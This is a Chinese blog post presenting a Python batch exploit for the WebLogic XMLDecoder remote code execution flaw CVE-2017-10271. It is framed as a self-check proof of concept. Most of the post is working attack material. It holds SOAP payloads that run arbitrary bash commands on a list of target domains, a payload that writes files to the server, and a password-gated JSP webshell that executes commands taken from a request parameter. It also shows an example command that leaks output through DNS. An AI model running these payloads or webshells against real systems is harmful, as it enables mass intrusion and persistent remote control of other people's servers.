【Python】CVE-2017-10271批量自查POC(Weblogic RCE)
1、说明
看到大家对weblogic漏洞这么热衷，于是也看看这个漏洞的测试方式。
找了几个安全研究员的博客分析，经过几天的摸索大体清楚漏洞由XMLDecoder的反序列化产生。
漏洞最早4月份被发现，10月份的漏洞是由于官方修复不完善导致被绕过。
嗯，又学习了很多知识。
2、批量测试脚本
# -*- coding: UTF-8 -*-
import requests,sys,os
help = '''
eg:CVE-2017-10271.py "ping \`whoami\`.dnslog.cve"'''
domain_list = [] # domain列表
# CVE-2017-10271.py
# authour:zzzhhh
# 2017-12-26
# 批量测试POC
# 验证函数
def poc_test(site,command):
# HTTP头部信息
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
'Content-Type': 'text/xml'
}
# Getshell
Getshell = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/1000011.txt</string>
<void method="println">
<string>test hello!</string>
</void>
<void method="close"/>
</object>
</java>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
# Getshell2
Getshell2 = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>
<void method="println">
<string><![CDATA[<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>]]></string>
</void>
<void method="close"/>
</object>
</java>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
# HTTP主体内容
console = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>%s</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
# URL拼接
url = site + '/wls-wsat/CoordinatorPortType?wsdl'
# 打印出执行的命令
#print(command)
# 异常处理，错误就提示，成功也提示
try:
req = requests.post(url, headers = headers, timeout=5, data = console % command)
if('<faultcode>S:Server</faultcode><faultstring>0</faultstring>' in req.text):
print site + ' Success ! ' + command
# Getshell txt代码
shell = requests.post(url, headers = headers, timeout=5, data = Getshell)
# Getshell2 shell代码
#shell = requests.post(url, headers = headers, timeout=5, data = Getshell2)
print site +"/wls-wsat/1000011.txt"
# http://xxx.xxx.xxx.xxx/wls-wsat/antiy.txt
# http://xxx.xxx.xxx.xxx/wls-wsat/test.jsp?pwd=023&i=ls
# 1000011.txt
else:
print site + ' Fail !'
except:
print site + ' Error ! '
#读取文件函数
def read_file(file_path):
# 判断文件路径是否存在，如果不存在直接退出，否则读取文件内容
if not os.path.exists(file_path):
print 'Please confirm correct filepath !'
sys.exit(0)
else:
with open(file_path, 'r') as source:
for line in source:
domain_list.append(line.rstrip('\r\n').rstrip('\n'))
if __name__ == '__main__':
print(help)
# 域名列表
#file_str= raw_input('Input file ip.txt filepath eg:D:\\\\test.txt \n')
file_str = "D:\\domain.txt"
#poc_test("http://www.baidu.com", "whoami")
# 执行命令
#command = raw_input('Input command\n')
command = "whoami"
# 读取文件函数
read_file(file_str)
# 遍历域名组
for domain in domain_list:
poc_test(domain, command)
3、GETSHELL方式
确实需要上传文件测试危害，那么采用java.io.PrintWriter即可写入一个1000011.txt文件。
# Getshell txt代码
shell = requests.post(url, headers = headers, timeout=5, data = Getshell)
# http://xxx.xxx.xxx.xxx/wls-wsat/1000011.txt
# Getshell
Getshell = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/1000011.txt</string>
<void method="println">
<string>test hello!</string>
</void>
<void method="close"/>
</object>
</java>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
写入WEBSHELL的时候会遇到错误，在 XML 元素中，"<" 和 "&" 是非法的。"<" 会产生错误，因为解析器会把该字符解释为新元素的开始。"&" 也会产生错误，因为解析器会把该字符解释为字符实体的开始。某些文本，比如 JavaScript 代码，包含大量 "<" 或 "&" 字符。为了避免错误，可以将脚本代码定义为 CDATA。CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由 "" 结束：
# Getshell 代码
#shell = requests.post(url, headers = headers, timeout=5, data = Getshell2)
# http://xxx.xxx.xxx.xxx/wls-wsat/test.jsp?pwd=023&i=ls
# Getshell2
Getshell2 = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>
<void method="println">
<string><![CDATA[<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>]]></string>
</void>
<void method="close"/>
</object>
</java>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
4、参考分析文档
Weblogic XMLDecoder RCE分析
http://xxlegend.com/2017/12/23/Weblogic XMLDecoder RCE分析/
利用xmldecoder执行命令
http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html
反系列化利用
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
Weblogic 0day 复现
http://kylingit.com/blog/weblogic-0day-复现/index.html
POC
